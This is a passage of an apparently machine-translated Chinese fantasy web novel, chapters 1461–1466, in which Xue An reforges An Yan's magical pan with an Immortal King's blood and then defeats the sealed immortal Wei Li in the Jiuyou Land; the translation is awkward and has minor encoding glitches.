    Xue An''s heart was instantly filled with infinite tenderness and touch, and he couldn''t help but lower his head and kiss An Yan''s forehead.


    "Hey, didn''t I come back!"


    But as soon as the voice fell, An Yan��s tears had wetted Xue An��s chest, and he whimpered, ��But I��m still afraid! I��m afraid you will leave me!��


    "Silly Yan''er, I''m sorry, I worry about you this time!" Xue An hugged An Yan, who was trembling in distress.


    An Yan shook his head in Xue An''s arms and said softly: "Don''t say sorry, I know you are tired and hard too! I just can''t help but worry!"

 Chapter 1461： Immortal Kings blood, refining the pan

    Speaking of this, An Yan raised his head and looked at Xue An with tears.


    "Husband, at that time, Wei Li said that you were in the Great Exile of Time. It would be impossible to find your own time in your life. I was really scared at that time! But I knew you would not leave me and miss you No matter, so I have been gritting my teeth and insisting, sure enough! You finally came back safely!"


    Xue An smiled, "That Wei Li said is not wrong. I was indeed hit by his time mystery. If it were other people, there would be no place to be buried, but he was wrong! "


    "That is, although my strength has not completely recovered, but because of the baptism of time, my vision and insight are beyond his imagination!"


    "What''s more, I have to thank him for this!"


    "Thank him? Why?" An Yan was a little confused.


    Xue An gently rubbed An Yan''s head, and said lightly: "Because this secret technique allows me to see a lot of things that I can''t see under normal circumstances, and it also penetrates a lot of extremely precious truths!"


    "Then what did you see?" An Yan asked curiously.


    Xue An gave a chuckle, raised his eyes and looked out the window, his eyes instantly becoming distant and deep.


    "I have seen a lot, from the light at the beginning of the universe to the big bang that opened the colorful journey of the universe, and then time gradually formed, matter condensed, and everything began to form!"


    Listening to Xue An''s narration, An Yan''s eyes gradually widened, and his face was full of incredible colors.


    Because the scene described by Xue An is too amazing.


    That is clearly a chronicle of the universe from its birth to the present.


    At this time, Xue An said calmly: "These sights have solved many of my doubts!"


    "For example, why three thousand years have passed through the heavens, but only four years have passed on the earth!"


    "Why?" An Yan asked, tilting his head.


    "Because in the universe, the flow of time is not fixed! In some places it is faster, some places are slow, and in some places a day may be equivalent to a year in other places!"


    "I know I know, the sky is one day and the other is a year!" An Yan suddenly shouted.


    Xue An smiled, "That''s the truth, but it''s not absolute! Because this speed difference in the passage of time is not static!"


    An Yan''s eyes gradually turned into a mist of confusion. She looked at Xue An silly, obviously not understanding what this meant.


    But she didn''t know how powerful her appearance was, she was so cute.


    At least Xue An couldn''t help but squeezed her cheek lightly, and then smiled lightly: "I don''t understand what it means, right?"


    An Yan nodded.


    "It''s very simple. If you use a river to describe time, then the speed of time is equivalent to those large and small eddies in the river, and it may even be blocked by something, causing the flow of this small area of ??water to almost stagnate!"


    "But this phenomenon is not the same, it may be a slight disturbance of the water plants, or other reasons, causing these vortexes to flourish and die, and the time will also change quickly!"


    An Yan nodded without understanding, "I seem to understand, husband, why is time on earth stagnating for thousands of years because of what power?"


    Xue An shook his head, "I don''t know!"


    An Yan showed a look of astonishment. She had never seen Xue An so succinctly that she didn''t know.


    "It may be a coincidence, or it may be someone deliberately doing it, and if someone did it deliberately, then this person''s ability... can only be described in four words, it is impossible to explain!"


    When he said this, Xue An''s eyes showed a solemn look.


    This is also his biggest gain in this time seal, because he vaguely smelled a trace of conspiracy.


    But what exactly is the truth of all this is not known at all now!


    Seeing the solemn look on Xue An��s face, An Yan couldn��t help rubbing him with a little distress.


    "Okay! No matter what the reason, we don��t think about it so much now! Okay!"


    "Ok!"


    In the next time, the two embraced each other, talking some whispers that the readers didn''t know, and enjoying the sweet time of the two.


    Finally, Xue An suddenly remembered something, and said softly: "Yan''er, is your pan broken?"


    An Yan suddenly remembered the tragic condition of her own weapon, and nodded distressedly, "Yeah! It''s almost scrapped!"


    "Take it out and let me see!"


    An Yan Yiyan took out the pan that had broken into a big hole and cracked all over her body.


    This is almost the same as the **** in the waste pile, and you can''t see the appearance before the half.


    Xue An took the pan, sliding his fingers lightly on it.


    Usually, he could clearly feel the existence of Lei Zun in the pan.


    But now he has exhausted all his troubles, only to find a trace of divine consciousness that is almost extinguished.


    This is the only trace left of that Lei Zun.


    And it was a fluke to stay, otherwise, relying on its strength, when facing the Immortal King-level powerhouse Wei Li, the opponent''s eyes would be wiped out.


    "Can it be repaired?" An Yan asked hopefully, blinking.


    Xue An shook his head, "It''s difficult!"


    An Yan showed a trace of sadness, "That..."


    Before the words finished, Xue An smiled lightly, "But it''s not impossible!"


    "Hate!" An Yan knew that she had been fooled and couldn''t help but give Xue An a white look.


    "Hey! Wife, in fact, with your current strength, even if this pan is not destroyed, it will not be worthy of you soon! So this time it is labeled as such, it is not a complete bad thing, after all, is it not broken or standing? !"


    Speaking Xue An flipped his wrist, and there was a drop of red and powerful blood on the palm of his hand.


    "What is this?" An Yan asked curiously.


    "Hehe, this is a drop of blood that I took out of Ye Hanshang''s body while he was not paying attention!"


    "Ye Hanshang''s blood? What''s the use?" An Yan was a little inexplicable.


    "Hehe, Yan''er, you don��t understand! This is the blood of the Immortal King, which is like a fake replacement. It is countless times more powerful than the treasure of heaven and earth! If you use it to refinish the pan, you can easily The grade of this pan has been improved several times!"


    As he said, Xue An''s eyes suddenly became bright, and the dim spirit in the pan was directly wrapped by Xue An''s turbulent spirit and carefully taken out.


    Then a white flame appeared in Xue An''s other hand, and the pan was instantly refined.


    Then Xue An drove the endless drop of blood of the Immortal King to fly into the flames.


    Bang!

 Chapter 1462： Recast the throne with blood

    With a low muffled sound, the blood of the immortal king who was still trying to struggle quickly merged with the pan that was refined into a cyan haze under the pressure of this divine flame.


    boom!


    With the success of the integration, this group of cyan light mist suddenly burst, and a powerful force emerged from it, sweeping the entire Fubao building.


    Then the cyan haze began to gradually condense, and a brand new pan began to appear gradually.


    At the same time, in the outside world, Ye Hanshang, who was about to commit a murderous predation, planned to attack the giants of the ghost world, suddenly stiffened, and then his spiritual thought swept through his body.


    After feeling a drop of essence and blood in his body, Ye Hanchang was startled first, and then gritted his teeth in a low voice: "Xue An, you bastard! You stole a drop of essence from me! I''m never finished with you!"


    Of course, Xue An didn''t know this, and even if he knew him, he wouldn''t take it seriously.


    At this moment, he gave a soft drink, and raised his hand to seal countless complex and complicated runes on the pan.


    When all this is done, the pan has a new look and exudes an extremely powerful power.


    Immediately afterwards, Xue An stretched out two fingers, directly clamped the dim divine mind, and sent it to the pan.


    Click!


    After a crisp sound, this dim divine thought merged with the pan perfectly.


    Then in An Yan''s perception, the aura belonging to Lei Zun began to skyrocket.


    In an instant.


    Lei Zun, who was dying and about to die, was resurrected with blood.


    And the first thought when it regained consciousness was to shout, "Xiu hurt the mistress, I''m fighting with you!"


    In the screaming, thunder light flashed on the pan, so powerful that it even penetrated the space.


    At this time, Xue An said calmly: "Okay, stop acting!"


    As soon as he said this, Lei Zun''s shout stopped for an instant, and then Lei Zun''s virtual form appeared over the pan.


    I saw the chubby and white Lei Zun nodded and bowed at Xue An, and said flatly, "Master!"


    Xue An looked at it with a faint smile, "Why? Acting as soon as you wake up, are you using me as a fool?"


    Lei Zun trembled with fright, and waved his hands again and again, "No, no, I don''t dare to act in front of the master! I am really full of resentment towards that Wei Li, so I just blurted out!"


    "Oh? That''s just right. I''ll go to conquer Wei Li in two days. If you hate him so much, become a pioneer!"


    When these words came out, Lei Zun suddenly yelled, "Ah, I may be badly injured, my mistress, I slept for a year and a half, and then call me again!"


    Without waiting for An Yan to react, Lei Zun hid in the pan and never dared to show up again.


    An Yan looked silly.


    Xue An laughed, then raised his hand and handed the pan to An Yan.


    "Okay, Yan''er, this is the pan after I refinished it for you, and I have already transferred the imprint of Lei Zun''s soul to you. If it is not obedient, you will have to die if you think about it! !"


    "Ah! I suddenly don''t want to fall asleep again, Master Mistress, tell me, who do you want me to kill now?" Lei Zun said immediately.


    An Yan was a little bit dumbfounded, "You guy, you are really a great drama!"


    Lei Zun chuckled, "Thank you for your compliment, Madam!"


    Just when Xue An and An Yan were living a sweet two-person world in the Fubao Xiaolou.


    A **** storm is spreading across the ghost world at a terrifying speed.


    Ye Hanshang used thunder means to slaughter ninety-nine giants in the central ghost world in one day!


    For a time the entire ghost world was shaken.


    Everyone in the ghost world is in danger, and countless people choose to escape because of fear.


    But Ye Hanshang always said his words. Since he said he wanted to cleanse the entire ghost world of the wealthy family, he would not let it go.


    In addition, after a few days, his strength has recovered by 50%.


    Although this is still far from his own peak time, in this ghost world, he is already an invincible existence.


    So no matter it was the giants who tried to resist because of despair, or the giants who ran away because of excessive fear, they could not escape his sanction.


    For a time, blood flowed into the central ghost world, and the bones filled the sky.


    Countless giants who used to be aloof and lost their heart finally tasted the evil results they planted with their own hands at this moment.


    However, the entire central ghost world was slaughtered in the Three Sunshine Scenery, but this was only the beginning.


    Ye Hanshang''s thunder power is spreading outwards at a terrifying speed. With the full cooperation of Luo Jian and Ren Tianqi and others, the depths of the ghost world will be completely calmed within a day.


    Immediately after that, there were one ghost world plane after another.


    As countless giants in the ghost world were completely overthrown, the boundless blood and fear were recast as Ye Hanshang''s throne.


    This man finally came to the ghost world once again, regaining his control.


    Wherever the news passed, countless ghost races all knelt down and bowed their heads. No matter how genius you are, you are shivering like a cat or a mouse at this moment and dare not speak.


    However, because the ghost world is too vast, many remote places have not had time to receive news.


    For example...the border ghost world.


    A Qing Bai sat bored on the deserted high platform of Destiny, his eyes were empty, staring at the sky blankly.


    This is her daily routine.


    After all, this is the fifth month since Master Wei and the boy have left!


    There was no news for so long, and Ah Qing''s heart couldn''t help but gradually heavier.


    "Girl Aqing, are you waiting for the adult to return again?" a female voice came.


    Ah Qing knew who was speaking without turning back, and he couldn''t help sighing, "Yes, Jingyue girl, you are here too!"


    It was Song Jingyue who came!


    Since she came here with Shimen to celebrate the birthday of the destiny ghost, but because Xue An blocked the destiny ghost world, she couldn''t leave she also came to this high platform every day to wait for news.


    Song Jingyue sat beside A Qing and whispered: "Should be coming back soon! My master said that our plane is still far away from the depths of the ghost world! So the news is a bit lagging behind. It''s normal too!"


    But despite saying that, Song Jingyue''s face was full of gloom.


    Obviously, these words were not only to comfort Qing, but also to comfort herself.


    Ah Qing nodded, "I know! So I''m not in a hurry!"


    The two girls were silent at the same time, then raised their heads to look at the sky, looking forward to someone''s return.


    As the sun sets, seeing that the day is about to pass again, the two smiled bitterly at each other, knowing that this day should have returned without success, and then stood up to leave.


    But at this moment, the void vibrated endlessly, and then Wen Mu Ling stepped out of it, stood on the void, overlooking the entire plane, and shouted in a deep voice.


    "Master Ming has awakened, where is the Shadow Guard?"

 Chapter 1463： 9Secluded Land

    As soon as these words came out, the entire fringe ghost world instantly boiled.


    In the horrified eyes of countless people, Ah Qing and all the other Shadow Guards all stood up and said, bowing their heads.


    "Return to Lord Guard, Shadow Guard is here!"


    The sound shook the four wilds, which was terrifying.


    Seeing this, Wen Mu Ling couldn''t help showing a smile and nodded, "Very well! That''s it, you will come with me!"


    "Here!"


    A Qing and the others flew up without hesitation, followed Wen Mu Ling''s back, and disappeared into this world.


    After they left, the remaining people looked at each other, and then there was a great uproar.


    "What''s the matter? Mingjun is awake?"


    "Is this true or false?"


    "Hey, the blockade between heaven and earth has disappeared!"


    Amidst the discussion, Song Jingyue''s master Wen Lingcui looked solemn, suddenly turned around, dragged her disciple and walked out.


    "Master, where are we going?" Song Jingyue asked somewhat puzzled.


    Wen Lingcui said solemnly: "Leave the ghost world and return to the division!"


    Song Jingyue was taken aback when she heard the words, and then asked in astonishment: "Will you go now?"


    "Yes, go now!"


    Although Song Jingyue had more than once fantasized about what she would look like when she returned home, when this moment really came, a trace of reluctance emerged in her heart.


    She turned her head to look at the place where Wen Muling and others disappeared, and a thought came up silently in her heart.


    That young man should... be safe!


    And just when Wen Mu Ling gathered the men and horses to rebuild the Shadow Guard.


    Except for some corners that are not worth doing by yourself, Ye Hanshang, who has already groomed the entire ghost world, has come to the core of the ghost world with Xue An without everyone knowing.


    If this place were not led by a strong immortal king like Ye Hanshang, ordinary people would never reach it.


    Because this should be the hub of the entire ghost world, it can be said that all ghost worlds originated from here.


    "Is it here?" Xue An asked.


    Ye Hanshang nodded, "Yes! I can feel that the source of all qi in the ghost world comes from the land under our feet!"


    "That''s good! Let''s go in now!" Xue An said lightly.


    Ye Hanshang groaned, "Or I should go by myself!"


    Xue An raised his eyes and glanced at him, then smiled faintly, "What? Don''t worry about my strength?"


    Ye Hanshang shook his head, "Of course it didn''t mean that! But Wei Li is also an immortal king-level powerhouse anyway, and your current strength has not completely recovered..."


    Xue An chuckled and shook his head, "Isn''t this still worrying?"


    Xue An raised his head to look at Ye Hanshang, and said very seriously: "I take your kindness, but even if my strength has not recovered, I still don''t care about an immortal king, let alone..."


    A flash of cold light flashed in Xue An''s eyes, "This guy slaughtered the gods of my race at the beginning, and the crime is not to be blamed, so he must die in my hands!"


    Ye Hanshang no longer stopped when he saw it, and nodded, "That''s good! Then we will go to the beginning of the origin of the ghost world now!"


    Having said that, Ye Hanchang squeezed the seal, and the energy around him suddenly changed, and a biting wind enveloped the two of them.


    When the yin wind dissipated, the two had disappeared.


    What kind of world is this?


    There is no up and down, no left and right.


    As far as I can see, all I can see is the vast fog.


    Time seems to have lost its meaning in this world.


    Because the silence here allows people to hear the sound of their own heartbeat and blood flow.


    And this is the starting place of the ghost world, and it is also the place where the first ghost clan was born, named...Jiuyou!


    When Xue An and Ye Hanchang appeared in this world at the same time, the vast mist of the entire Jiuyou Land seemed to have been disturbed, and then gradually condensed, transforming into huge and hideous evil spirits.


    This is the spontaneous protection of this piece of heaven and earth, in order to protect the original power of the ghost world from being snatched and disturbed by external forces.


    But before these evil spirits took shape completely, Ye Hanshang squeezed the seal and decided, "Broken!"


    Bang bang bang!


    With a continuous explosion, these evil spirits transformed by the mist were directly blown into pieces.


    Under the surging mist, he actually began to shrink back.


    Obviously this world has a weak sense of self.


    But Wei Li''s location was not found.


    Ye Hanshang couldn''t help frowning, "What''s the matter? Why didn''t you feel Wei Li''s aura? Could it be that he has already run away when he sees the bad situation?"


    Xue An smiled faintly when he heard the words, "Do you think if he could run, would he still walk the world as a clone?"


    "Then why can''t you feel the slightest breath about him?" Ye Hanshang was still a little puzzled.


    Xue Anyou said: "Of course I can''t feel it now, because he took the initiative to seal himself up this time!"


    "Then what to do? Does it mean that this world will be completely destroyed?" Ye Hanshang was also in trouble.


    If this piece of heaven and earth is really destroyed, then the entire ghost world will suffer a devastating blow, and maybe even die from then on.


    After all, these Nine Nethers are the origin of the entire ghost world.


    Xue An suddenly revealed his white teeth and smiled at Ye Hanchang.


    Ye Hanchang stepped back subconsciously, and said horribly, "Old Xue, what do you want to do?"


    "What are you so afraid of? I won''t eat you again!" Xue An smiled happily.


    Ye Hanshang became more and more fearful, because he knew Xue An too well.


    Once he laughs like this, someone must be unlucky.


    "I ask you, do you want to find that guy Wei Li?"


    "Nonsense, of course I thought about it!" Ye Hanchang nodded repeatedly.


    "Then come here, I will tell you the way!" Xue An beckoned.


    Ye Hanshang hesitated for a moment, then moved over, "You..."


    Before the words fell, Xue An suddenly turned his finger into a knife, and under the knife fell with his hand, he cut a hole directly in Ye Hanchang''s arm.


    "I wipe What are you doing?" Ye Hanshang exclaimed.


    Xue An slowly grabbed it and took a drop of blood from Ye Hanshang''s wound.


    "Nothing, just borrow a drop of blood from you!"


    Ye Hanshang clutched his arms and struck him out of anger, "Hey, don''t you feel bad when you say this? You have stolen a drop of my blood before, and are you still here? I''m even a fairy king. This blood is not brought by a gale!"


    Xue An turned his head and glanced at Ye Hanchang, then lowered his eyes, "You are wrong! I''m not stealing!"


    "Don''t call it secretly?"


    "Take it in front of you, this is naturally a grab!"


    "You..." Ye Hanshang was simply angry.


    But at this moment, but seeing Xue An''s smile, his fingers were flying, he wrote a rune in the void.


    In an instant, a huge rune formed by countless dense and strange runes suddenly appeared in front of Ye Hanshang.

 Chapter 1464： Burn the world

    Ye Hanshang closed his mouth with interest.


    Not to mention anything else, with Xue An''s presenting hand, he is willing to bow down.


    At this point, Ye Hanshang understood that what Xue An had said before was not false, even if he really meets Wei Li now, regardless of the difference in strength, the outcome is still between the two.


    at the same time.


    But seeing Xue An''s little blood bead floating in the void, steadily spinning.


    The blood bead slowly flew to the center of the rune formation, and fell suddenly.


    As if someone had connected the circuit, the runes of the entire rune array began to light up gradually.


    While breathing, the entire talisman array lit up with extremely bright light, where the light was, these white mists began to dissipate crazily.


    Then Xue An took a deep breath, raised his hand and pressed down suddenly.


    boom!


    The entire talisman array smashed directly into the void beneath his feet.


    An invisible shock wave spread out like lightning, and wherever it passed, the mist evaporated and gradually revealed everything that was enveloped.


    It was only then that Ye Hanshang could see clearly that in the depths of the void shrouded in mist, a series of gray and dry tentacles appeared.


    These tentacles stretched across the world, without knowing how far they were, extending directly into the vast void.


    But the number is like the devil''s hair, making the scalp numb.


    And in the center of these countless tentacles, there was a huge coffin floating impressively.


    The shape of this coffin is very simple, with the blood of unknown creatures depicting runes exuding a vast and powerful atmosphere.


    Moreover, the coffin is bound by layers of golden chains, which is daunting.


    It can be seen that the coffin is extremely old and damaged in many places.


    But even so, you can still feel the power of the seal attached to this coffin.


    Needless to say, this is where Wei Li''s ontology lies!


    Ye Hanchang looked happy, and stepped forward.


    Xue An raised his hand to stop him.


    Ye Hanchang was taken aback, "What''s wrong?"


    Xue An said indifferently: "Don''t you see that the seal on the coffin has strong restraint against the fairy king, especially you ghost tribe fairy kings?"


    "Then what to do?"


    Xue An smiled slightly, "Naturally it''s...cold!"


    With that, Xue An''s eyes flashed, and a red and white flame lotus appeared between his eyebrows, and then fluttered to the countless tentacles extending into the void.


    But although these tentacles are as dry as branches, they seem to have self-consciousness. When the flame lotus comes to the front, these tentacles recede backwards like beasts fearing flames.


    The speed is so fast that Flame Lotus can''t keep up.


    Xue An sneered upon seeing this, "Do you still want to resist this time?"


    With that, Xue An raised his hand and shook it.


    Click!


    After a soft sound, the flame lotus was divided into two, then two into four, and four into eight.......


    However, after a few breaths, these flame lotus flowers split into countless flowers, and then flew to the countless tentacles like a wall of fire.


    At this time, these tentacles were inevitable. When the flames touched them, the whole tentacles instantly ignited and burst into flames.


    In the flames, these tentacles struggled frantically, but they didn''t help.


    However, after a few breaths, many of the tentacles were broken apart by the roasted inch, and turned into nothing.


    In this case, the coffin in the middle began to tremble, but even so, it did not reveal the slightest breath.


    Xue An sneered when he saw it, "Are you planning to play dead at this time? Well, then I will fulfill you!"


    As he said, Xue An waved his hand and the flame lotus turned around and went straight to the coffin.


    At this moment, a breath of horror and anger slowly emerged from the coffin.


    "Xue, don''t deceive people too much!"


    Following the voice, a shallow phantom appeared on the coffin.


    It is Wei Li.


    at the same time.


    These flame lotus flowers have also rushed to the front, Wei Li''s face showed a look of incomparable fear, and suddenly screamed.


    A long, long and deep space crack appeared in front of him, blocking the flame lotus from continuing to move forward.


    But this is just a stopgap!


    Because these flame lotus flowers did not retreat, but swayed in the front, as if waiting for the opportunity.


    "Wei Li, you are right, I just want to deceive people too much!" Xue An stepped forward and said slowly.


    Wei Li''s face was extremely ugly.


    That day before that secret hiding place, Xue An revealed his secret with a single word, and Wei Li was terrified.


    But as Xue An said, even if he wanted to hide, it was impossible.


    Because his body is sealed in this place.


    In desperation, Wei Li had no choice but to do the opposite, and took the initiative to strengthen his seal, trying to hide his body, so that the coming Xue An and others would return without success.


    This idea cannot be said to be faulty.


    But he never expected that these tricks were just a joke to Xue An.


    A drop of blood broke through the fog, causing everything to surface.


    Under Xue An''s flames, these tentacles transformed from Wei Li''s cultivation base were completely vulnerable, and were directly burned into nothingness.


    But Wei Li still wanted to play dead.


    Until Xue An was about to start with his coffin.


    Wei Li was forced to show his face.


    This is why he has always been so jealous of Xue An''s flames.


    So when he heard what Xue An said, he still suppressed the anger in his heart, and said in a deep voice: "Xue An, you have killed people, and you are almost ready to pay your grudges. What do you want? Is it necessary? Do you want to kill?"


    Xue An nodded, "You are right!"


    "Xue An, don''t think that I am afraid of you now, I just don''t want to make the fish die and the net is broken!" Wei Li roared angrily.


    "Okay! Then I want to see how you made the fish die!" Xue An said lightly.


    Wei Li''s complexion gradually darkened, and he sneered: "Xue An Have you ever thought about it, if you kill me, will there be any consequences?"


    "Oh? What are the consequences?"


    "Hehe, come and see!" Wei Li raised his hand and pointed.


    I saw an ethereal but real silk thread that firmly connected Wei Li to the world.


    "Did you see it? I am completely bound to this world. If you want to kill me, unless you completely destroy this world! But by then, this ghost world will be considered waste!"


    Ye Hanchang''s complexion changed violently, Xue An''s complexion gradually became cold, and there was a dangerous light in his eyes.


    Wei Li laughed more and more frantically when he saw this, "How? Now we retreat obediently. The three of us are in charge of the ghost world and live in peace. What do you think?"


    "Get on peacefully with you?" Xue An suddenly sneered.


    "You..." Wei Li was taken aback for a moment.


    But seeing Xue An step forward, raised his finger to the sky, he whispered coldly: "Red lotus industry is on fire, burning the world!"

 Chapter 1465： Causal power

    oom!


    With Xue An''s order, all the flame lotus trembles together, and then they split again madly.


    In an instant, the number of these flame lotus flowers increased crazily at an exponential rate.


    Only a few breaths, but seeing endless flame lotus like a sea of ??flames, covering the sky and covering the sun.


    Wherever he passed, the Qi of Jiuyou disappeared.


    And those tentacles retreated step by step with the advancing of this endless flame, and finally hid in the coffin where Wei Li''s body was hurriedly.


    Wei Li was angrily attacking his heart, his eyes cracked.


    "Xue An, this is what you forced me! Time exile technique."


    The Shocking Secret Technique reappears again!


    And this time because it was a matter of life and death, the power was several times stronger than before.


    But seeing Wei Li''s roar, an invisible shock wave suddenly spread, wherever it passed, time stagnated, and the swaying flame lotus also stagnated in the air, as if everything had been pressed by the pause button.


    Ye Hanchang''s face appeared solemn.


    He was also deeply afraid of Wei Li''s secret technique.


    Although this time because of the barrier of the flame lotus, the spread speed of this time secret technique has been drastically reduced, but even so, the shock wave is still spreading slowly but firmly.


    At this moment, Xue An showed a mocking smile.


    "Wei Li, as a strong immortal king, you should know that using the same trick to deal with the strong will easily fail!"


    "Stop talking nonsense, take your life!" Wei Li Zhuangruo shouted crazy.


    He was already a little hysterical at this moment, because he knew that this battle was not his own death, or Xue An and others died, there was no third result.


    In order to survive, he has given up.


    In fact, from beginning to end, his fear of Xue An only came from these red lotus karma.


    In his opinion, the biggest threat came from Ye Hanshang, who was on the side.


    Because no matter how good Xue An is, now his cultivation base is seriously declining, and he is not afraid of it.


    But Ye Hanshang is different. At this moment, Ye Hanshang has recovered more than half of his strength.


    Being a strong immortal king, Ye Hanshang''s threat to Wei Li suddenly increased.


    This big exile technique also came to deal with Ye Hanshang.


    Unexpectedly, at this moment, Xue An suddenly chuckled and whispered: "Little Ye Zi, lend me another drop of blood!"


    Before Ye Hanchang could react, Xue An raised the knife and cut a hole on Ye Hanchang''s shoulder, then thrust his fingers in, and forcibly took out a drop of light golden light. Of blood.


    Ye Hanchang sucked in pain, and then felt that his whole body was weakened.


    Because this drop of blood is different from ordinary blood, it is the blood from the heart, which is extremely precious.


    He also knew that Xue An must have his reasons for doing this.


    Ye Hanshang still couldn''t help complaining after being taken blood by Xue An several times.


    "Hey, Old Xue, what do you think of me? Beef cattle? Just cut a few knives to get some blood out if you are okay?"


    Xue An smiled faintly, did not answer Ye Hanchang''s words, but raised his hand to hold the pale golden blood, and suddenly moved a little between his brows.


    Essence and blood seeped into it instantly, and Xue An''s momentum also surged forward.


    Ye Hanshang was taken aback when he saw this, and immediately understood what Xue An was planning to do. Although he didn''t say anything, there was still a hint of worry in his eyes.


    He was worried about whether Xue An could accept the energy contained in his drop of blood.


    After all, he is a strong immortal king, but Xue An now only has half a step of Da Luo''s cultivation.


    Among them, there is a huge difference in strength. If you are not careful, Xue An may be overwhelmed by life.


    But soon Ye Hanshang understood that his worries were unnecessary.


    But seeing Xue An''s aura crossed several realms in less than a few breaths, and directly came to the realm of the fairy king.


    As far as his eyes could reach, the violent aura seemed to burst the world.


    But this was just an expedient measure. To put it bluntly, Xue An temporarily borrowed the Immortal King''s cultivation base from Ye Hanshang.


    This is destined to not last long.


    Wei Li naturally saw this, and couldn''t help but laughed strangely: "Xue An, if you really regain your cultivation as the Immortal King, I will just die without saying anything, but now you are just What can I do with the cultivation base borrowed from the secret technique?"


    Speaking of this, the power of time that had been slowly spreading suddenly accelerated and came straight to Xue An.


    Seeing that he was about to be overwhelmed by the power of this turbulent time again, Xue An didn''t panic, just raised his head and looked at the sky where the cracks were shaken by the huge energy, and whispered: "It seems that you can Same technique!"


    As he said, Xue An raised his eyes and looked directly at the rushing tide of time. He slowly lifted his slender, well-knotted palm, took a deep breath, and shouted in a deep voice: "Cause and effect!"


    After that, Xue An''s palm suddenly pushed forward.


    The power of causality that directly interferes with everything in the world suddenly rushed out and collided head-on with the power of time.


    There is no sound!


    Because these two forces are not the forces that really exist in the heaven and the earth, but the forces of laws that are above the heaven and the earth.


    So this impact was silent!


    But shortly afterwards, I saw a white light dazzling enough to blind people, and swept across the entire Jiuyou Land.


    Wherever it goes, space is shattered and everything is withered.


    Everything shows its essence.


    In fact, in terms of the nature of these two forces, time and cause and effect should be inseparable, or even complementary.


    But when the two were fighting together, because Xue An had borrowed the power of the Immortal King from Ye Hanshang after all, and had no foundation, the power of cause and effect gradually fell into a disadvantage.


    Wei Li, who was in shock because of Xue An''s display of the secret technique of cause and effect, finally woke up, and couldn''t help laughing proudly.


    "Xue An You are really amazing. Not only do you have the magical fire of the gods and ghosts, but also the blessing of such secret arts! But you are not the fairy king after all, so you still have to lose!


    "Oh? Really?" Xue An raised his head to look at the triumphant Wei Li, and smiled faintly.


    "Don''t you think it''s a bit too early for success or failure?"


    "Huh?" Wei Li was startled, not understanding what Xue An meant.


    At this moment, Xue An raised his hand and snapped his fingers lightly.


    "Because I haven''t finished it yet! The power of cause and effect, shattered!"


    Click!


    The two forces that were entangled stagnated at the same time, and then the causal power displayed by Xue An was instantly violent and swallowed all Wei Li''s power of time at a nearly crazy speed.


    And the moment after the swallowing was finished, a slight cracking sound followed.


    Then the karma of the entire Jiuyou Land suddenly dissipated, and the power of time disappeared without a trace.

 Chapter 1466： Demon red lotus, strangling Wei Li

    When everything returned to silence, the entire Jiuyou Land, as if experiencing the vicissitudes of life in this moment, suddenly withered and became very old.


    Wei Li stared at this scene dumbfounded, unable to believe his eyes.


    Ye Hanchang''s mouth was wide open, and it was not until a long while later that he took a deep breath and slowly exhaled two words.


    "I*!"


    At this moment, Ye Hanchang only had the word of admiration in his heart.


    Because he asked himself that even if it was himself, he would have to pay a lot of price to overcome Wei Li''s attack.


    But Xue An took half of Da Luo''s cultivation base and only borrowed a drop of his own blood to achieve a shocking reversal.


    The calmness shown in this, as well as the unfathomable causal mystery, made Ye Hanchang convinced.


    Finally, Wei Li slowly recovered from the astonishment, and looked at Xue An tremblingly, "You...Where did you learn the secret of cause and effect?"


    Xue An smiled faintly, "Where do you still need to learn this? Do you think they are all the same as you? Sniffing up, and learning some time mystery, I feel complacent?"


    "No...impossible! It''s impossible!" Wei Li said in despair.


    Because this thing shocked him too much.


    In fact, the reason why he plunged into the dark paradise so easily at the beginning and willingly be a running dog was because he hoped to obtain the inheritance of the art of time.


    In the end, although his goal was achieved, he paid a heavy price for it.


    For example, he is now sealed in Jiuyou Land as an example.


    So when he heard that Xue An had realized the power of cause and effect that was not comparable to or even slightly better than the power of time, he couldn''t help being shocked and jealous.


    "In your eyes it is impossible, but in my opinion, it is nothing more than that!"


    With that, Xue An slowly raised his hand and said lightly to Wei Li: "You should be tired of being trapped here as a watchdog for so long, so now I will send you on the road!"


    After that, Xue An''s hands snapped together.


    "Wan Lian is back together!"


    boom!


    The flame lotus that had just broken free from the time beam and regained freedom began to condense together crazily with Xue An''s movements.


    But in an instant, a huge, crystal clear lotus appeared in the void.


    Wei Li''s face was pale and could not help but exclaimed, "Xue An, I have something to discuss, I am willing to..."


    The reason why he was so frightened was because he smelled death from the lotus flower.


    But Xue An obviously did not intend to give him this opportunity.


    Xue An raised his hand, "Kill!"


    This huge lotus disappeared in an instant [51 Novel www.51ds.xyz], and when it reappears, it has come to the top of Wei Li''s phantom.


    This phantom could not even struggle, it was crushed directly, and then the lotus fell in the coffin, and the roots of the lotus swayed like a sharp knife, piercing directly into the extremely hard coffin.


    "Ahhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh!


    But no matter how hard you struggle, you can''t stop the erosion of this lotus flower.


    at last.


    The rhizome of the lotus densely wrapped the entire coffin, and then the lotus began to tremble like breathing.


    With every tremor, countless pale golden blood was absorbed along the rhizome.


    Every time it is absorbed, the lotus will sway joyfully and comfortably, and the lotus leaves composed of flames become more and more verdant.


    "Ah ah ah, Xue An, what kind of monster is this? I''m never ending with you!" Wei Li in the coffin was still screaming frantically.


    But Xue An was not moved at all, just watched quietly.


    Seeing this, Ye Hanshang couldn''t help taking a breath, feeling a cold neck, and couldn''t help but step back a few steps.


    Because this lotus is too strange and terrifying.


    Wei Li was also a strong immortal king anyway, but was suppressed by this lotus, even using it as fertilizer, sucking frantically.


    Such secret techniques, not to mention Ye Hanchang, are unheard of even in the heavens.


    At this moment, the breath of Xue An''s body suddenly fell, and the brilliance in his eyes was also shattered.


    This is the drop of blood that Xue An borrowed from Ye Hanshang has been exhausted.


    Then Xue An''s face showed a tired look.


    After all, the immortal king''s cultivation was driven by the body of a half-step big Luo. The pressure was so great that even Xue An felt deeply tired.


    But even so, Xue An still stood up like a sword, quietly looking at the coffin that was completely covered by lotus flowers.


    At this moment, Wei Li has changed from the initial anger and abuse to panic begging and wailing.


    Speaking of this, Wei Li is also sad. Since breaking through to become a strong immortal king, after practicing the Secret Technique of Time, he has not enjoyed even a day of freedom and was directly sealed in this place.


    After so long of operation, he finally saw a glimmer of hope of getting out of trouble.


    The result was strangled by Xue Ansheng.


